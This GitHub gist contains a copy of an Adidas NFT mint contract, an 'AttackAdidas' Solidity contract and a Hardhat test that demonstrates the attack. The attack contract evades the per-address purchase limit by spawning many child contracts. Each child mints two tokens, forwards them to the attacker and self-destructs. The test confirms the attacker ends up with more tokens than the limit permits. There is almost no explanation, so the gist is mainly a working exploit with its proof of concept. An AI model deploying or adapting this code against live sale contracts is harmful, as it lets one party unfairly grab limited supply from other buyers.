Created
December 27, 2021 21:09
-
-
Save natac13/4ae4aec1c982031ab51339ebbc649e27 to your computer and use it in GitHub Desktop.
Adidas NFT 330 NFT mint contract
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
// Into the Metaverse NFTs are governed by the following terms and conditions: https://a.did.as/into_the_metaverse_tc | |
pragma solidity ^0.8.0; | |
import "@openzeppelin/contracts/utils/Counters.sol"; | |
import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; | |
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; | |
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; | |
import "@openzeppelin/contracts/utils/Strings.sol"; | |
import "./AbstractERC1155Factory.sol"; | |
/* | |
* @title ERC1155 token for Adidas cards | |
* @author Niftydude | |
*/ | |
contract AdidasOriginals is AbstractERC1155Factory { | |
uint256 constant MAX_SUPPLY = 30000; | |
uint256 constant MAX_EARLY_ACCESS = 20380; | |
uint8 maxPerTx = 2; | |
uint8 maxTxPublic = 2; | |
uint8 maxTxEarly = 1; | |
uint256 public mintPrice = 200000000000000000; | |
uint256 public cardIdToMint = 1; | |
mapping(address => uint256) public purchaseTxs; | |
event Purchased( | |
uint256 indexed index, | |
address indexed account, | |
uint256 amount | |
); | |
constructor(string memory _name, string memory _symbol) ERC1155("test") { | |
name_ = _name; | |
symbol_ = _symbol; | |
} | |
/** | |
* @notice edit the mint price | |
* | |
* @param _mintPrice the new price in wei | |
*/ | |
function setPrice(uint256 _mintPrice) external onlyOwner { | |
mintPrice = _mintPrice; | |
} | |
/** | |
* @notice edit sale restrictions | |
* | |
* @param _maxPerTx the new max amount of tokens allowed to buy in one tx | |
* @param _maxTxEarly the max amount of txs allowed during early access | |
* @param _maxTxPublic the max amount of txs allowed during public sale | |
*/ | |
function editSaleRestrictions( | |
uint8 _maxPerTx, | |
uint8 _maxTxEarly, | |
uint8 _maxTxPublic | |
) external onlyOwner { | |
maxPerTx = _maxPerTx; | |
maxTxEarly = _maxTxEarly; | |
maxTxPublic = _maxTxPublic; | |
} | |
/** | |
* @notice purchase cards during public sale | |
* | |
* @param amount the amount of tokens to purchase | |
*/ | |
function purchase(uint256 amount) external payable { | |
require( | |
purchaseTxs[msg.sender] < maxTxPublic, | |
"max tx amount exceeded" | |
); | |
// require( | |
// purchaseTxs[tx.origin] < maxTxPublic, | |
// "max tx.origin amount exceeded" | |
// ); | |
_purchase(amount); | |
} | |
/** | |
* @notice global purchase function used in early access and public sale | |
* | |
* @param amount the amount of tokens to purchase | |
*/ | |
function _purchase(uint256 amount) private { | |
require( | |
amount > 0 && amount <= maxPerTx, | |
"Purchase: amount prohibited" | |
); | |
require( | |
totalSupply(0) + amount <= MAX_SUPPLY, | |
"Purchase: Max supply reached" | |
); | |
require(msg.value == amount * mintPrice, "Purchase: Incorrect payment"); | |
purchaseTxs[msg.sender] += 1; | |
// purchaseTxs[tx.origin] += 1; | |
_mint(msg.sender, 0, amount, ""); | |
emit Purchased(0, msg.sender, amount); | |
} | |
/** | |
* @notice returns the metadata uri for a given id | |
* | |
* @param _id the card id to return metadata for | |
*/ | |
function uri(uint256 _id) public view override returns (string memory) { | |
require(exists(_id), "URI: nonexistent token"); | |
return string(abi.encodePacked(super.uri(_id), Strings.toString(_id))); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "@openzeppelin/contracts/access/Ownable.sol"; | |
import "./AdidasOriginals.sol"; | |
import "hardhat/console.sol"; | |
contract Child { | |
AdidasOriginals adidas; | |
address payable private _owner; | |
constructor( | |
address payable _parent, | |
address payable _parentOwner, | |
address payable _adidasAddress | |
) payable { | |
adidas = AdidasOriginals(_adidasAddress); | |
// // mint 2 NFT | |
adidas.purchase{value: msg.value}(2); | |
// // transfer the NFT to _myWallet | |
adidas.safeTransferFrom(address(this), _parentOwner, 0, 2, ""); | |
// // selfdestruct | |
remove(_parent); | |
} | |
function remove(address payable _parent) internal { | |
console.log("Removing: ", _parent); | |
console.log("Balance: ", address(this).balance); | |
selfdestruct(_parent); | |
} | |
} | |
contract AttackAdidas is Ownable { | |
// AdidasOriginals adidas; | |
address payable public adidasAddress; | |
constructor(address payable _address) { | |
adidasAddress = _address; | |
} | |
function attack(uint256 multiplier) external payable { | |
uint256 requiredAmount = 0.4 ether * multiplier; | |
// console.log("Value", msg.value); | |
require(msg.value == requiredAmount, "Not the right balance"); | |
uint256 amount = msg.value / multiplier; | |
// console.log("Amount", amount); | |
for (uint8 x; x < multiplier; x += 1) { | |
new Child{value: amount}( | |
payable(this), | |
payable(owner()), | |
adidasAddress | |
); | |
} | |
} | |
function withdraw() public { | |
console.log( | |
"Contract has this amount to withdraw", | |
address(this).balance | |
); | |
(bool sent, ) = payable(owner()).call{value: address(this).balance}(""); | |
require(sent, "Failed to send Ether"); | |
} | |
receive() external payable { | |
console.log("receiving", msg.value); | |
} | |
function getBalance() public view returns (uint256) { | |
return address(this).balance; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers"; | |
import { expect } from "chai"; | |
import { BigNumber } from "ethers"; | |
import { ethers } from "hardhat"; | |
import { AdidasOriginals, AttackAdidas } from "../typechain"; | |
describe("Attacker Contact on Fallback vulnerability", function () { | |
let victom: AdidasOriginals; | |
let attacker: AttackAdidas; | |
let owner: SignerWithAddress; | |
let addr1: SignerWithAddress; | |
before(async () => { | |
[owner, addr1] = await ethers.getSigners(); | |
const Victom = await ethers.getContractFactory("AdidasOriginals", { | |
signer: owner, | |
}); | |
victom = await Victom.deploy("AdidasOriginals", "ADIS"); | |
await victom.deployed(); | |
const Attacker = await ethers.getContractFactory("AttackAdidas", { | |
signer: addr1, | |
}); | |
attacker = await Attacker.deploy(victom.address); | |
await attacker.deployed(); | |
}); | |
it("Happy Path", async () => { | |
expect(await victom.mintPrice()).to.equal( | |
ethers.utils.parseUnits("0.2", "ether") | |
); | |
expect(await attacker.owner()).to.equal(addr1.address); | |
expect(await victom.balanceOf(addr1.address, 0)).to.equal(0); | |
await victom | |
.connect(addr1) | |
.purchase(2, { value: ethers.utils.parseUnits("0.4", "ether") }); | |
expect(await victom.balanceOf(addr1.address, 0)).to.equal(2); | |
expect(await victom.purchaseTxs(addr1.address)).to.equal(1); | |
expect(await victom.totalSupply(0)).to.equal(2); | |
await victom | |
.connect(addr1) | |
.purchase(2, { value: ethers.utils.parseUnits("0.4", "ether") }); | |
expect(await victom.balanceOf(addr1.address, 0)).to.equal(4); | |
expect(await victom.purchaseTxs(addr1.address)).to.equal(2); | |
expect(await victom.totalSupply(0)).to.equal(4); | |
}); | |
it("Attack path", async () => { | |
const multiplier = 5; | |
await attacker.attack(multiplier, { | |
value: ethers.utils.parseUnits( | |
String((multiplier * 0.4).toFixed(1)), | |
"ether" | |
), | |
// gasPrice: 2_000_000_000_000, | |
}); | |
expect(await victom.balanceOf(addr1.address, 0)).to.equal( | |
multiplier * 2 + 4 | |
); | |
console.log(await ethers.provider.getBalance(attacker.address)); | |
console.log(await ethers.provider.getBalance(victom.address)); | |
console.log( | |
ethers.utils.formatEther(await ethers.provider.getBalance(addr1.address)) | |
); | |
}); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment